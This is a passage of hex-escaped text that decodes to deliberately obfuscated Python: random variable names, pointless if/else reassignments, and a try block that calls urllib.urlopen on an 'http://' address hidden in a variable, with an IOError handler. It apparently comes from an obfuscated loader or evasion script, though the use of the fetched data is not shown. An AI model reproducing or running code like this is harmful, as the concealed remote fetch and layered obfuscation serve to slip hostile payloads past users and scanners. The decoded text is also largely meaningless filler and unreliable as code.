43\x4a\x78\x48\x7a\x6f\x7a\x57\x69\x4d\x77\x53\x51\x50\x47\x4e\x59\x51\x53\x72\x78\x69\x69\x45\x78\x41\x47\x53\x41\x52\x66\x74\x43\x4c\x4a\x61\x47\x58\x55\x4e\x6d\x77\x79\x47\x7a\x7a\x49\x73\x49\x4e\x56\x65\x50\x78\x73\x42\x6d\x43\x53\x49\x6c\x42\x45\x41\x7a\x49\x4a\x45\x43\x6a\x7a\x6e\x68\x44\x62\x42\x50\x7a\x4e\x46\x5a\x48\x73\x76\x50\x46\x75\x43\x45\x73\x45\x43\x78\x51\x52\x78\x74\x78\x78\x41\x41\x78\x46\x6d\x47\x46\x71\x52\x44\x49\x79\x68\x58\x43\x45\x49\x77\x41\x53\x45\x49\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x44\x4e\x76\x79\x4c\x45\x43\x4a\x78\x48\x7a\x6f\x7a\x57\x69\x4d\x77\x53\x51\x50\x47\x4e\x59\x51\x53\x72\x78\x69\x69\x45\x78\x41\x47\x53\x41\x52\x66\x74\x43\x4c\x4a\x61\x47\x58\x55\x4e\x6d\x77\x79\x47\x7a\x7a\x49\x73\x49\x4e\x56\x65\x50\x78\x73\x42\x6d\x43\x53\x49\x6c\x42\x45\x41\x7a\x49\x4a\x45\x43\x6a\x7a\x6e\x68\x44\x62\x42\x50\x7a\x4e\x46\x5a\x48\x73\x76\x50\x46\x75\x43\x45\x73\x45\x43\x78\x51\x52\x78\x74\x78\x78\x41\x41\x78\x46\x6d\x47\x46\x71\x52\x44\x49\x79\x68\x58\x43\x45\x49\x77\x41\x53\x45\x49\x20\x3d\x20\x4e\x79\x5a\x4a\x46\x53\x6d\x45\x57\x50\x4a\x42\x4a\x72\x6f\x4a\x44\x4c\x7a\x41\x43\x50\x58\x58\x57\x43\x70\x47\x4c\x43\x53\x50\x4c\x42\x79\x79\x5a\x42\x63\x76\x47\x52\x77\x45\x49\x75\x74\x4a\x61\x43\x43\x65\x79\x45\x74\x7a\x50\x4d\x72\x41\x47\x4c\x45\x6b\x6f\x7a\x45\x66\x6f\x52\x44\x56\x77\x50\x44\x47\x4f\x77\x4f\x42\x74\x47\x52\x57\x79\x45\x49\x4a\x68\x6f\x4a\x44\x65\x4a\x55\x77\x4f\x4a\x48\x4a\x49\x48\x71\x56\x4a\x53\x77\x67\x43\x74\x71\x54\x77\x7a\x46\x43\x42\x74\x52\x49\x72\x45\x59\x79\x73\x6f\x48\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4e\x79\x5a\x4a\x46\x53\x6d\x45\x57\x50\x4a\x42\x4a\x72\x6f\x4a\x44\x4c\x7a\x41\x43\x50\x58\x58\x57\x43\x70\x47\x4c\x43\x53\x50\x4c\x42\x79\x79\x5a\x42\x63\x76\x47\x52\x77\x45\x49\x75\x74\x4a\x61\x43\x43\x65\x79\x45\x74\x7a\x50\x4d\x72\x41\x47\x4c\x45\x6b\x6f\x7a\x45\x66\x6f\x52\x44\x56\x77\x50\x44\x47\x4f\x77\x4f\x42\x74\x47\x52\x57\x79\x45\x49\x4a\x68\x6f\x4a\x44\x65\x4a\x55\x77\x4f\x4a\x48\x4a\x49\x48\x71\x56\x4a\x53\x77\x67\x43\x74\x71\x54\x77\x7a\x46\x43\x42\x74\x52\x49\x72\x45\x59\x79\x73\x6f\x48\x20\x3d\x20\x44\x4e\x76\x79\x4c\x45\x43\x4a\x78\x48\x7a\x6f\x7a\x57\x69\x4d\x77\x53\x51\x50\x47\x4e\x59\x51\x53\x72\x78\x69\x69\x45\x78\x41\x47\x53\x41\x52\x66\x74\x43\x4c\x4a\x61\x47\x58\x55\x4e\x6d\x77\x79\x47\x7a\x7a\x49\x73\x49\x4e\x56\x65\x50\x78\x73\x42\x6d\x43\x53\x49\x6c\x42\x45\x41\x7a\x49\x4a\x45\x43\x6a\x7a\x6e\x68\x44\x62\x42\x50\x7a\x4e\x46\x5a\x48\x73\x76\x50\x46\x75\x43\x45\x73\x45\x43\x78\x51\x52\x78\x74\x78\x78\x41\x41\x78\x46\x6d\x47\x46\x71\x52\x44\x49\x79\x68\x58\x43\x45\x49\x77\x41\x53\x45\x49\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4e\x79\x5a\x4a\x46\x53\x6d\x45\x57\x50\x4a\x42\x4a\x72\x6f\x4a\x44\x4c\x7a\x41\x43\x50\x58\x58\x57\x43\x70\x47\x4c\x43\x53\x50\x4c\x42\x79\x79\x5a\x42\x63\x76\x47\x52\x77\x45\x49\x75\x74\x4a\x61\x43\x43\x65\x79\x45\x74\x7a\x50\x4d\x72\x41\x47\x4c\x45\x6b\x6f\x7a\x45\x66\x6f\x52\x44\x56\x77\x50\x44\x47\x4f\x77\x4f\x42\x74\x47\x52\x57\x79\x45\x49\x4a\x68\x6f\x4a\x44\x65\x4a\x55\x77\x4f\x4a\x48\x4a\x49\x48\x71\x56\x4a\x53\x77\x67\x43\x74\x71\x54\x77\x7a\x46\x43\x42\x74\x52\x49\x72\x45\x59\x79\x73\x6f\x48\x20\x3d\x20\x4b\x47\x48\x45\x48\x6c\x44\x50\x54\x54\x44\x72\x41\x48\x49\x76\x76\x4e\x6e\x6f\x79\x52\x4c\x4e\x42\x44\x6b\x63\x53\x69\x51\x76\x46\x4a\x48\x77\x44\x71\x5a\x4a\x55\x68\x45\x76\x79\x45\x69\x74\x55\x4f\x4b\x42\x4c\x49\x41\x50\x53\x4f\x53\x6e\x78\x42\x53\x46\x4f\x51\x49\x71\x6e\x44\x48\x44\x6d\x6d\x42\x51\x6f\x46\x75\x78\x42\x76\x6e\x46\x73\x4a\x4a\x41\x6d\x6d\x48\x49\x51\x45\x4a\x6f\x49\x4d\x42\x46\x46\x73\x6a\x44\x72\x46\x53\x58\x71\x52\x77\x7a\x4a\x41\x51\x4c\x74\x41\x54\x6c\x50\x4a\x4d\x77\x4f\x42\x79\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x74\x72\x79\x3a\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6f\x4f\x46\x43\x69\x49\x47\x44\x79\x79\x74\x78\x69\x45\x41\x47\x70\x48\x51\x73\x73\x6b\x45\x47\x77\x68\x47\x6a\x73\x7a\x49\x51\x45\x56\x48\x5a\x44\x52\x46\x43\x59\x76\x74\x48\x4f\x48\x45\x67\x42\x44\x43\x75\x6b\x74\x75\x44\x4a\x6b\x4d\x49\x77\x43\x46\x52\x49\x53\x49\x75\x4c\x45\x4a\x6b\x42\x51\x4d\x6b\x4f\x78\x41\x53\x4a\x43\x71\x74\x48\x76\x55\x41\x6f\x43\x73\x5a\x4e\x47\x50\x4a\x50\x79\x49\x4d\x6d\x6e\x78\x78\x47\x49\x6f\x4b\x70\x49\x44\x43\x50\x51\x6e\x72\x48\x75\x48\x48\x53\x58\x5a\x44\x43\x70\x52\x20\x3d\x20\x27\x57\x7a\x43\x69\x77\x42\x79\x79\x75\x47\x53\x46\x4a\x66\x75\x45\x55\x59\x4a\x79\x46\x5a\x42\x77\x74\x47\x7a\x46\x52\x6e\x6a\x79\x53\x74\x72\x53\x4c\x51\x78\x53\x49\x42\x48\x52\x52\x49\x73\x48\x47\x44\x70\x5a\x6a\x6a\x6a\x61\x52\x69\x69\x72\x5a\x51\x72\x74\x47\x6e\x69\x6b\x50\x77\x53\x53\x7a\x54\x4d\x52\x43\x67\x76\x4a\x75\x43\x47\x52\x71\x47\x49\x6d\x42\x49\x53\x53\x48\x43\x51\x4a\x47\x47\x78\x48\x71\x48\x6e\x73\x4f\x48\x77\x49\x53\x72\x67\x72\x79\x6c\x42\x4a\x47\x4f\x53\x4a\x72\x53\x59\x42\x65\x6e\x71\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x78\x5a\x49\x74\x53\x62\x49\x75\x7a\x4f\x72\x74\x41\x53\x7a\x47\x50\x41\x5a\x53\x77\x75\x79\x69\x51\x43\x65\x48\x77\x47\x53\x52\x70\x4f\x63\x6a\x52\x52\x51\x49\x43\x79\x41\x78\x41\x51\x55\x41\x72\x57\x6b\x4b\x64\x49\x47\x59\x56\x50\x73\x47\x45\x79\x51\x4a\x76\x4e\x46\x47\x49\x6a\x50\x47\x42\x77\x43\x53\x47\x66\x77\x51\x48\x4f\x43\x52\x6e\x56\x6e\x5a\x72\x4a\x53\x58\x78\x44\x4a\x7a\x79\x51\x49\x48\x49\x76\x44\x49\x7a\x7a\x6c\x4a\x6a\x49\x42\x66\x45\x6b\x57\x79\x48\x42\x42\x42\x78\x70\x74\x49\x43\x71\x43\x20\x3d\x20\x27\x53\x4a\x4a\x73\x56\x70\x47\x45\x51\x49\x58\x76\x6a\x53\x75\x77\x52\x77\x78\x52\x47\x47\x52\x69\x5a\x7a\x78\x51\x72\x53\x44\x4c\x49\x73\x55\x51\x77\x4a\x44\x49\x48\x6b\x71\x6b\x4d\x47\x45\x41\x42\x7a\x4c\x77\x57\x53\x51\x49\x6d\x6d\x42\x4c\x44\x6f\x50\x46\x76\x65\x70\x58\x46\x4f\x49\x43\x47\x51\x46\x71\x4e\x41\x5a\x78\x74\x52\x48\x41\x6f\x48\x71\x6c\x41\x43\x44\x50\x48\x50\x55\x5a\x71\x6f\x74\x4a\x73\x77\x53\x4a\x66\x68\x43\x43\x45\x49\x4f\x47\x61\x51\x6f\x72\x45\x44\x44\x6b\x47\x78\x44\x51\x47\x43\x51\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6d\x7a\x72\x41\x51\x45\x53\x42\x74\x48\x4f\x69\x46\x53\x7a\x45\x72\x75\x78\x43\x56\x71\x4d\x53\x6e\x75\x53\x69\x42\x49\x41\x51\x47\x6f\x70\x46\x66\x47\x4f\x73\x53\x50\x6e\x43\x46\x78\x55\x46\x57\x41\x7a\x47\x53\x53\x44\x42\x62\x43\x73\x78\x48\x78\x43\x51\x53\x44\x6d\x76\x57\x57\x4d\x41\x7a\x44\x50\x52\x4e\x54\x46\x53\x75\x42\x4a\x42\x66\x43\x43\x5a\x52\x4b\x54\x48\x48\x46\x76\x79\x51\x44\x41\x41\x41\x6e\x6c\x43\x79\x79\x42\x48\x53\x47\x44\x44\x49\x55\x45\x6e\x42\x74\x72\x77\x53\x6f\x6f\x59\x46\x4a\x20\x3d\x20\x27\x53\x42\x6e\x6d\x75\x42\x47\x70\x76\x70\x68\x73\x73\x56\x52\x52\x6a\x71\x76\x6a\x46\x73\x46\x6a\x6e\x73\x4f\x77\x43\x48\x66\x49\x49\x6e\x7a\x45\x78\x75\x72\x43\x48\x49\x6f\x70\x47\x43\x78\x6b\x76\x52\x52\x68\x7a\x57\x7a\x71\x46\x78\x53\x49\x44\x52\x6e\x79\x42\x52\x72\x52\x71\x53\x76\x51\x77\x7a\x73\x43\x73\x4e\x49\x49\x55\x48\x6e\x70\x79\x76\x69\x74\x4e\x77\x77\x77\x52\x42\x7a\x6e\x43\x48\x49\x75\x52\x48\x45\x48\x53\x78\x52\x44\x71\x48\x7a\x73\x6e\x45\x75\x7a\x57\x47\x77\x41\x49\x43\x70\x43\x6f\x52\x72\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x6f\x4f\x46\x43\x69\x49\x47\x44\x79\x79\x74\x78\x69\x45\x41\x47\x70\x48\x51\x73\x73\x6b\x45\x47\x77\x68\x47\x6a\x73\x7a\x49\x51\x45\x56\x48\x5a\x44\x52\x46\x43\x59\x76\x74\x48\x4f\x48\x45\x67\x42\x44\x43\x75\x6b\x74\x75\x44\x4a\x6b\x4d\x49\x77\x43\x46\x52\x49\x53\x49\x75\x4c\x45\x4a\x6b\x42\x51\x4d\x6b\x4f\x78\x41\x53\x4a\x43\x71\x74\x48\x76\x55\x41\x6f\x43\x73\x5a\x4e\x47\x50\x4a\x50\x79\x49\x4d\x6d\x6e\x78\x78\x47\x49\x6f\x4b\x70\x49\x44\x43\x50\x51\x6e\x72\x48\x75\x48\x48\x53\x58\x5a\x44\x43\x70\x52\x20\x3d\x3d\x20\x78\x5a\x49\x74\x53\x62\x49\x75\x7a\x4f\x72\x74\x41\x53\x7a\x47\x50\x41\x5a\x53\x77\x75\x79\x69\x51\x43\x65\x48\x77\x47\x53\x52\x70\x4f\x63\x6a\x52\x52\x51\x49\x43\x79\x41\x78\x41\x51\x55\x41\x72\x57\x6b\x4b\x64\x49\x47\x59\x56\x50\x73\x47\x45\x79\x51\x4a\x76\x4e\x46\x47\x49\x6a\x50\x47\x42\x77\x43\x53\x47\x66\x77\x51\x48\x4f\x43\x52\x6e\x56\x6e\x5a\x72\x4a\x53\x58\x78\x44\x4a\x7a\x79\x51\x49\x48\x49\x76\x44\x49\x7a\x7a\x6c\x4a\x6a\x49\x42\x66\x45\x6b\x57\x79\x48\x42\x42\x42\x78\x70\x74\x49\x43\x71\x43\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6d\x7a\x72\x41\x51\x45\x53\x42\x74\x48\x4f\x69\x46\x53\x7a\x45\x72\x75\x78\x43\x56\x71\x4d\x53\x6e\x75\x53\x69\x42\x49\x41\x51\x47\x6f\x70\x46\x66\x47\x4f\x73\x53\x50\x6e\x43\x46\x78\x55\x46\x57\x41\x7a\x47\x53\x53\x44\x42\x62\x43\x73\x78\x48\x78\x43\x51\x53\x44\x6d\x76\x57\x57\x4d\x41\x7a\x44\x50\x52\x4e\x54\x46\x53\x75\x42\x4a\x42\x66\x43\x43\x5a\x52\x4b\x54\x48\x48\x46\x76\x79\x51\x44\x41\x41\x41\x6e\x6c\x43\x79\x79\x42\x48\x53\x47\x44\x44\x49\x55\x45\x6e\x42\x74\x72\x77\x53\x6f\x6f\x59\x46\x4a\x20\x3d\x20\x27\x53\x42\x6e\x6d\x75\x42\x47\x70\x76\x70\x68\x73\x73\x56\x52\x52\x6a\x71\x76\x6a\x46\x73\x46\x6a\x6e\x73\x4f\x77\x43\x48\x66\x49\x49\x6e\x7a\x45\x78\x75\x72\x43\x48\x49\x6f\x70\x47\x43\x78\x6b\x76\x52\x52\x68\x7a\x57\x7a\x71\x46\x78\x53\x49\x44\x52\x6e\x79\x42\x52\x72\x52\x71\x53\x76\x51\x77\x7a\x73\x43\x73\x4e\x49\x49\x55\x48\x6e\x70\x79\x76\x69\x74\x4e\x77\x77\x77\x52\x42\x7a\x6e\x43\x48\x49\x75\x52\x48\x45\x48\x53\x78\x52\x44\x71\x48\x7a\x73\x6e\x45\x75\x7a\x57\x47\x77\x41\x49\x43\x70\x43\x6f\x52\x72\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6d\x7a\x72\x41\x51\x45\x53\x42\x74\x48\x4f\x69\x46\x53\x7a\x45\x72\x75\x78\x43\x56\x71\x4d\x53\x6e\x75\x53\x69\x42\x49\x41\x51\x47\x6f\x70\x46\x66\x47\x4f\x73\x53\x50\x6e\x43\x46\x78\x55\x46\x57\x41\x7a\x47\x53\x53\x44\x42\x62\x43\x73\x78\x48\x78\x43\x51\x53\x44\x6d\x76\x57\x57\x4d\x41\x7a\x44\x50\x52\x4e\x54\x46\x53\x75\x42\x4a\x42\x66\x43\x43\x5a\x52\x4b\x54\x48\x48\x46\x76\x79\x51\x44\x41\x41\x41\x6e\x6c\x43\x79\x79\x42\x48\x53\x47\x44\x44\x49\x55\x45\x6e\x42\x74\x72\x77\x53\x6f\x6f\x59\x46\x4a\x20\x3d\x20\x6f\x4f\x46\x43\x69\x49\x47\x44\x79\x79\x74\x78\x69\x45\x41\x47\x70\x48\x51\x73\x73\x6b\x45\x47\x77\x68\x47\x6a\x73\x7a\x49\x51\x45\x56\x48\x5a\x44\x52\x46\x43\x59\x76\x74\x48\x4f\x48\x45\x67\x42\x44\x43\x75\x6b\x74\x75\x44\x4a\x6b\x4d\x49\x77\x43\x46\x52\x49\x53\x49\x75\x4c\x45\x4a\x6b\x42\x51\x4d\x6b\x4f\x78\x41\x53\x4a\x43\x71\x74\x48\x76\x55\x41\x6f\x43\x73\x5a\x4e\x47\x50\x4a\x50\x79\x49\x4d\x6d\x6e\x78\x78\x47\x49\x6f\x4b\x70\x49\x44\x43\x50\x51\x6e\x72\x48\x75\x48\x48\x53\x58\x5a\x44\x43\x70\x52\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6d\x7a\x72\x41\x51\x45\x53\x42\x74\x48\x4f\x69\x46\x53\x7a\x45\x72\x75\x78\x43\x56\x71\x4d\x53\x6e\x75\x53\x69\x42\x49\x41\x51\x47\x6f\x70\x46\x66\x47\x4f\x73\x53\x50\x6e\x43\x46\x78\x55\x46\x57\x41\x7a\x47\x53\x53\x44\x42\x62\x43\x73\x78\x48\x78\x43\x51\x53\x44\x6d\x76\x57\x57\x4d\x41\x7a\x44\x50\x52\x4e\x54\x46\x53\x75\x42\x4a\x42\x66\x43\x43\x5a\x52\x4b\x54\x48\x48\x46\x76\x79\x51\x44\x41\x41\x41\x6e\x6c\x43\x79\x79\x42\x48\x53\x47\x44\x44\x49\x55\x45\x6e\x42\x74\x72\x77\x53\x6f\x6f\x59\x46\x4a\x20\x3d\x20\x27\x53\x42\x6e\x6d\x75\x42\x47\x70\x76\x70\x68\x73\x73\x56\x52\x52\x6a\x71\x76\x6a\x46\x73\x46\x6a\x6e\x73\x4f\x77\x43\x48\x66\x49\x49\x6e\x7a\x45\x78\x75\x72\x43\x48\x49\x6f\x70\x47\x43\x78\x6b\x76\x52\x52\x68\x7a\x57\x7a\x71\x46\x78\x53\x49\x44\x52\x6e\x79\x42\x52\x72\x52\x71\x53\x76\x51\x77\x7a\x73\x43\x73\x4e\x49\x49\x55\x48\x6e\x70\x79\x76\x69\x74\x4e\x77\x77\x77\x52\x42\x7a\x6e\x43\x48\x49\x75\x52\x48\x45\x48\x53\x78\x52\x44\x71\x48\x7a\x73\x6e\x45\x75\x7a\x57\x47\x77\x41\x49\x43\x70\x43\x6f\x52\x72\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6d\x7a\x72\x41\x51\x45\x53\x42\x74\x48\x4f\x69\x46\x53\x7a\x45\x72\x75\x78\x43\x56\x71\x4d\x53\x6e\x75\x53\x69\x42\x49\x41\x51\x47\x6f\x70\x46\x66\x47\x4f\x73\x53\x50\x6e\x43\x46\x78\x55\x46\x57\x41\x7a\x47\x53\x53\x44\x42\x62\x43\x73\x78\x48\x78\x43\x51\x53\x44\x6d\x76\x57\x57\x4d\x41\x7a\x44\x50\x52\x4e\x54\x46\x53\x75\x42\x4a\x42\x66\x43\x43\x5a\x52\x4b\x54\x48\x48\x46\x76\x79\x51\x44\x41\x41\x41\x6e\x6c\x43\x79\x79\x42\x48\x53\x47\x44\x44\x49\x55\x45\x6e\x42\x74\x72\x77\x53\x6f\x6f\x59\x46\x4a\x20\x3d\x20\x27\x57\x7a\x43\x69\x77\x42\x79\x79\x75\x47\x53\x46\x4a\x66\x75\x45\x55\x59\x4a\x79\x46\x5a\x42\x77\x74\x47\x7a\x46\x52\x6e\x6a\x79\x53\x74\x72\x53\x4c\x51\x78\x53\x49\x42\x48\x52\x52\x49\x73\x48\x47\x44\x70\x5a\x6a\x6a\x6a\x61\x52\x69\x69\x72\x5a\x51\x72\x74\x47\x6e\x69\x6b\x50\x77\x53\x53\x7a\x54\x4d\x52\x43\x67\x76\x4a\x75\x43\x47\x52\x71\x47\x49\x6d\x42\x49\x53\x53\x48\x43\x51\x4a\x47\x47\x78\x48\x71\x48\x6e\x73\x4f\x48\x77\x49\x53\x72\x67\x72\x79\x6c\x42\x4a\x47\x4f\x53\x4a\x72\x53\x59\x42\x65\x6e\x71\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7a\x43\x77\x44\x53\x5a\x77\x51\x51\x50\x4d\x6d\x52\x53\x49\x43\x50\x59\x6a\x6a\x46\x52\x52\x44\x79\x7a\x65\x52\x47\x75\x4a\x79\x53\x59\x4a\x42\x45\x77\x4c\x7a\x4d\x6e\x6b\x79\x77\x4e\x53\x52\x49\x45\x51\x76\x72\x62\x6d\x47\x45\x53\x49\x43\x41\x75\x41\x53\x49\x78\x6a\x41\x45\x50\x47\x77\x7a\x74\x4d\x67\x45\x47\x49\x44\x70\x45\x70\x6a\x76\x51\x4b\x41\x50\x50\x48\x7a\x48\x47\x78\x77\x4a\x59\x79\x6e\x49\x52\x53\x69\x64\x53\x74\x70\x47\x49\x55\x72\x42\x41\x4a\x47\x6f\x41\x76\x4d\x7a\x48\x50\x48\x64\x41\x4e\x20\x3d\x20\x75\x72\x6c\x6c\x69\x62\x2e\x75\x72\x6c\x6f\x70\x65\x6e\x28\x27\x68\x74\x74\x70\x3a\x2f\x2f\x27\x2b\x46\x49\x44\x6f\x4a\x50\x65\x50\x78\x50\x77\x44\x72\x72\x7a\x43\x73\x53\x4e\x48\x79\x46\x59\x73\x45\x44\x4c\x53\x5a\x48\x75\x71\x6c\x49\x46\x78\x70\x7a\x75\x71\x4f\x46\x5a\x49\x78\x41\x53\x78\x46\x71\x48\x70\x50\x42\x47\x52\x71\x52\x4a\x51\x4a\x70\x4e\x44\x74\x48\x76\x53\x53\x70\x66\x53\x50\x42\x48\x53\x57\x45\x69\x58\x44\x77\x6a\x48\x53\x46\x41\x52\x46\x66\x59\x49\x4a\x55\x78\x79\x6e\x4a\x69\x44\x72\x47\x51\x58\x6c\x68\x42\x78\x46\x41\x47\x53\x49\x57\x76\x4c\x4a\x7a\x47\x68\x77\x44\x41\x48\x51\x49\x7a\x29\x2e\x72\x65\x61\x64\x28\x29\x2e\x72\x73\x74\x72\x69\x70\x28\x29\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x65\x78\x63\x65\x70\x74\x20\x49\x4f\x45\x72\x72\x6f\x72\x3a\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x75\x42\x53\x77\x46\x7a\x46\x68\x47\x49\x4d\x47\x53\x58\x56\x51\x76\x4e\x53\x53\x46\x45\x52\x47\x4a\x71\x51\x44\x44\x72\x75\x7a\x79\x43\x51\x6e\x71\x49\x53\x79\x42\x76\x77\x43\x6d\x45\x45\x7a\x50\x79\x43\x4d\x68\x4c\x53\x42\x4a\x77\x73\x45\x48\x75\x44\x44\x7a\x52\x55\x53\x48\x49\x49\x51\x51\x45\x71\x43\x77\x52\x53\x7a\x45\x6c\x4d\x44\x46\x6a\x43\x41\x47\x45\x41\x53\x51\x49\x58\x43\x75\x49\x66\x42\x73\x42\x71\x56\x4f\x50\x49\x73\x51\x7a\x6d\x76\x42\x65\x45\x70\x71\x42\x46\x44\x49\x41\x76\x4a\x43\x77\x41\x20\x3d\x20\x27\x41\x4c\x45\x4f\x44\x48\x56\x55\x71\x77\x77\x49\x48\x45\x41\x45\x6f\x70\x6a\x53\x76\x55\x53\x51\x43\x50\x45\x79\x71\x76\x50\x49\x79\x49\x4d\x7a\x4a\x75\x71\x78\x41\x71\x46\x7a\x66\x6c\x46\x4f\x4a\x52\x5a\x48\x47\x4d\x52\x50\x7a\x42\x46\x70\x43\x56\x73\x75\x44\x49\x52\x6e\x42\x70\x77\x70\x6e\x76\x41\x45\x51\x4e\x47\x56\x53\x46\x72\x6b\x44\x42\x71\x69\x65\x47\x77\x6f\x72\x52\x52\x78\x75\x48\x53\x76\x45\x55\x76\x53\x73\x76\x44\x77\x55\x47\x67\x46\x53\x6d\x52\x6c\x77\x4a\x76\x72\x77\x78\x4f\x51\x77\x57\x72\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x49\x6a\x79\x47\x6f\x77\x4e\x43\x53\x53\x53\x78\x76\x79\x73\x49\x50\x41\x77\x47\x71\x52\x7a\x4f\x44\x4e\x57\x51\x71\x53\x4f\x49\x49\x65\x4a\x51\x65\x51\x4a\x47\x5a\x71\x46\x44\x42\x77\x6d\x43\x47\x48\x6a\x47\x46\x73\x4b\x77\x49\x48\x6a\x78\x75\x44\x48\x46\x73\x76\x4e\x7a\x4f\x58\x49\x52\x49\x42\x58\x41\x67\x74\x6d\x73\x49\x48\x50\x75\x49\x68\x6e\x4a\x4a\x73\x48\x43\x7a\x52\x46\x75\x7a\x56\x50\x47\x52\x43\x43\x70\x68\x4e\x43\x4d\x79\x79\x67\x43\x45\x77\x6a\x74\x74\x6f\x72\x45\x54\x4f\x51\x58\x6c\x75\x6e\x20\x3d\x20\x27\x48\x76\x51\x49\x55\x6e\x7a\x50\x43\x44\x41\x79\x79\x77\x41\x77\x66\x7a\x75\x41\x74\x4a\x4a\x56\x46\x53\x4a\x48\x51\x79\x4c\x52\x45\x4c\x53\x74\x79\x6f\x52\x49\x76\x78\x4d\x52\x48\x43\x49\x55\x47\x45\x59\x6f\x4a\x47\x47\x71\x51\x4e\x53\x69\x49\x74\x47\x4c\x4a\x4c\x78\x46\x67\x78\x77\x51\x6b\x42\x4f\x5a\x48\x73\x71\x69\x53\x76\x56\x52\x43\x46\x43\x4a\x6c\x47\x52\x43\x41\x52\x73\x44\x77\x70\x52\x54\x57\x41\x50\x7a\x4d\x4e\x75\x52\x44\x71\x46\x70\x52\x55\x65\x45\x75\x43\x52\x52\x4a\x53\x77\x4d\x49\x56\x71\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x41\x44\x49\x53\x47\x42\x6e\x6e\x45\x48\x7a\x4d\x41\x65\x48\x74\x46\x47\x7a\x4f\x7a\x50\x56\x50\x77\x69\x6d\x78\x74\x4a\x52\x4b\x79\x70\x64\x45\x54\x48\x50\x47\x48\x78\x74\x48\x4a\x43\x53\x76\x78\x4a\x44\x48\x66\x4a\x50\x44\x75\x6f\x52\x76\x53\x51\x4a\x6f\x78\x7a\x4e\x6f\x75\x73\x4d\x79\x6f\x57\x70\x74\x52\x43\x7a\x78\x44\x49\x46\x52\x7a\x5a\x4a\x57\x57\x79\x51\x7a\x75\x44\x45\x6d\x59\x44\x72\x45\x41\x4f\x4e\x48\x4e\x42\x75\x49\x4e\x48\x52\x47\x47\x49\x4a\x42\x79\x6d\x6d\x4f\x75\x45\x4d\x48\x6e\x52\x76\x20\x3d\x20\x27\x6e\x53\x48\x47\x42\x53\x54\x51\x49\x4e\x44\x4d\x4e\x78\x79\x52\x46\x7a\x53\x72\x52\x46\x79\x76\x50\x72\x52\x4f\x42\x48\x79\x52\x4e\x47\x49\x52\x5a\x79\x48\x43\x47\x59\x45\x6f\x51\x6d\x43\x7a\x73\x43\x6b\x51\x51\x6a\x69\x48\x55\x42\x4a\x50\x52\x54\x70\x76\x42\x4f\x78\x54\x52\x76\x74\x4a\x4f\x43\x53\x4a\x6a\x7a\x73\x41\x48\x74\x47\x45\x4f\x46\x49\x75\x77\x71\x4d\x74\x74\x48\x48\x41\x46\x75\x74\x42\x49\x75\x51\x50\x57\x42\x56\x45\x69\x6e\x63\x75\x47\x59\x46\x77\x4e\x50\x50\x46\x78\x4e\x46\x79\x79\x4a\x48\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x42\x53\x72\x75\x76\x6a\x52\x4d\x7a\x74\x6e\x49\x48\x72\x4a\x44\x53\x52\x46\x4a\x6d\x48\x69\x48\x6e\x4a\x78\x79\x68\x44\x6c\x70\x53\x7a\x51\x4e\x6b\x73\x4e\x71\x55\x56\x78\x73\x74\x4e\x49\x4a\x57\x63\x68\x50\x74\x48\x7a\x48\x4d\x49\x43\x4a\x73\x47\x52\x46\x4a\x6c\x46\x74\x57\x48\x78\x52\x71\x78\x6d\x6f\x7a\x76\x49\x48\x46\x4b\x46\x74\x54\x41\x51\x45\x6b\x5a\x4c\x44\x52\x43\x69\x4d\x7a\x75\x4a\x49\x42\x4c\x74\x54\x47\x79\x45\x70\x52\x55\x54\x7a\x54\x43\x53\x4a\x46\x45\x50\x43\x47\x42\x54\x6b\x6a\x41\x4e\x20\x3d\x20\x27\x76\x4e\x69\x45\x72\x72\x75\x74\x53\x71\x44\x78\x41\x4e\x72\x73\x6e\x76\x7a\x56\x41\x4a\x4f\x44\x6f\x43\x74\x51\x46\x57\x79\x49\x4e\x72\x51\x4d\x78\x51\x79\x73\x43\x46\x48\x74\x6f\x44\x44\x69\x44\x49\x48\x6a\x6f\x44\x4d\x48\x48\x71\x75\x6a\x53\x78\x51\x42\x51\x50\x79\x53\x52\x49\x48\x41\x41\x49\x74\x43\x43\x6d\x4f\x6f\x6e\x71\x69\x7a\x6d\x53\x48\x42\x47\x79\x45\x52\x45\x42\x52\x6c\x49\x65\x46\x72\x47\x77\x4e\x77\x41\x41\x6a\x47\x4a\x78\x66\x71\x53\x6b\x43\x72\x51\x6d\x68\x74\x4a\x6d\x78\x47\x55\x43\x44\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x45\x59\x45\x73\x72\x44\x76\x50\x42\x44\x79\x41\x7a\x4